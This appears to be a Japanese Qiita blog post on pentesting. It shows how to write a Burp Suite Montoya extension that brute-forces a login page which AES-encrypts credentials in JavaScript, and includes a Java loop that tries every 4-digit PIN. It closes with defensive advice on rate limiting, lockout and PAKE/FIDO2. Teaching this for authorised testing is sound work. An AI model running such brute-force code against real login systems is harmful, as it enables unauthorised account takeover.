0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】Burp 拡張で突破する ―「非標準暗号化ログイン」は Intruder では破れない

0
Posted at

はじめに

ペンテストをやっていると、こんなログイン画面に必ず出会います。

「安心してください。
ユーザー名とパスワードは JavaScript で暗号化してから送っています。

……はい、それ、むしろ危険です。

本記事では、
Burp Suite の拡張(Montoya API)を使い、
クライアントサイド暗号化ログインを自動ブルートフォースで突破する方法

を、設計思想から実装まで解説します。


なぜ Intruder では突破できないのか?

今回のターゲットは以下のような構成でした。

const rawAesKey = window.crypto.getRandomValues(new Uint8Array(16));

const aesKey = await getSecretKey(rawAesKey);

let rawdata = "username=" + formDataObj["username"] + "&password=" + formDataObj["password"];

let data = window.btoa(String.fromCharCode(new Uint8Array(await encryptMessage(aesKey, enc.encode(rawdata).buffer))));

  • /login に直接 username / password を送らない

  • 送信前に JavaScript で:

    • AES 鍵を生成
    • username=...&password=... を AES で暗号化
    • Base64 エンコード
  • POST パラメータは:

    mac=<base64(AES key)>
    data=<base64(encrypted payload)>
    

つまり…

ツール 結果
Burp Intruder ❌ 暗号を再現できない
Repeater ❌ 毎回手動は無理
curl / ffuf ❌ 同様に詰む

👉 暗号化ロジックを自分で再現しない限り、攻撃は不可能


Burp 拡張という選択肢

ここで初めて Burp 拡張が意味を持ちます。

Burp 拡張とは:

  • Java(など)で書かれたプログラム
  • Burp 内部 API(Montoya API)に直接アクセス
  • HTTP リクエストを 自由に生成・送信・解析できる

言い換えると:

「Burp を“ツール”ではなく“フレームワーク”として使う」

という発想です。


攻撃方針(設計)

今回の突破戦略は極めてシンプルです。

  1. Java で AES 鍵を生成(JS と同等)
  2. username + 4桁 password を組み立て
  3. JS と同じ AES 暗号化方式で暗号化
  4. Base64 + URL Encode
  5. Burp API で /login に POST
  6. レスポンスを解析
  7. 成功したら即停止

重要なのは 「Intruder 的な発想を捨てる」 こと。


Burp 拡張の最小構成

101Burp/
├── build.gradle
├── settings.gradle
└── src/main/java/
    └── BruteForce.java

build.gradle では Montoya API を compileOnly で指定します。

dependencies {
    compileOnly "net.portswigger.burp.extensions:montoya-api:2025.2"
}

👉 Burp 自身が API を持っているため、JAR に含めてはいけない
(ここで詰む人が本当に多い)


拡張のエントリポイント

public class BruteForce implements BurpExtension {

    @Override
    public void initialize(MontoyaApi api) {
        api.extension().setName("Burp Password Brute-Forcer");
        SwingUtilities.invokeLater(this::createUI);
    }
}
  • initialize() は Burp 起動時に自動実行
  • UI は Swing で作成
  • 処理は別スレッドで実行(UI フリーズ防止)

Swing UI:人間が操作できる攻撃ツール

UI では最低限だけ入力させます。

  • Username
  • Server(host:port)
  • Start Attack ボタン

Intruder と違い、攻撃ロジックはコード側に完全固定
人間は「条件を与えるだけ」です。


ブルートフォース処理の核心

for (int i = 0; i <= 9999; i++) {
    String password = String.format("%04d", i);

    SecretKey aesKey = generateAesKey();
    byte[] encrypted = encrypt(rawData, aesKey);

    String body =
        "mac=" + base64(aesKey.getEncoded()) +
        "&data=" + base64(encrypted);

    HttpResponse resp = api.http()
        .sendRequest(request)
        .response();

    if (resp.statusCode() == 200 &&
        resp.bodyToString().contains("result=")) {
        // HIT
        break;
    }
}

ここでやっていることは:

  • ブラウザがやっていることを 1:1 で再現
  • ただし 9999 回、休まず、正確に

これが「自動化」の本質です。


結果:ログイン突破

数千回の試行の末、正しいレスポンスが返却。

  • 正しい 4 桁パスワードを特定
  • 復号された result データを取得
  • 実際にログイン可能であることを確認

クライアントサイド暗号化は、攻撃を一切防いでいなかった
ことが証明されました。


なぜこの設計は危険なのか?

この構成の致命的な問題は:

  1. 暗号鍵をクライアントで生成
  2. その鍵をサーバへ送信
  3. サーバ側で正当性を検証できない

これは暗号ではなく、
**「エンコード付き平文送信」**に過ぎません。


防御側への示唆

安全な設計をするなら:

  • クライアント暗号化に依存しない
  • TLS を信頼する
  • 認証は:
    • サーバ側で rate limit
    • lockout
    • challenge-response
    • PAKE / SRP / FIDO2

「JS で暗号化してるから安全」は完全な幻想です。


まとめ:Burp 拡張は“突破力”を変える

  • Intruder は万能ではない
  • 非標準実装は 拡張で殴る
  • Burp 拡張を書ける=
    ツールに縛られないペンテスター

攻撃者はブラウザを信じない
防御者はクライアントを信じてはいけない

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?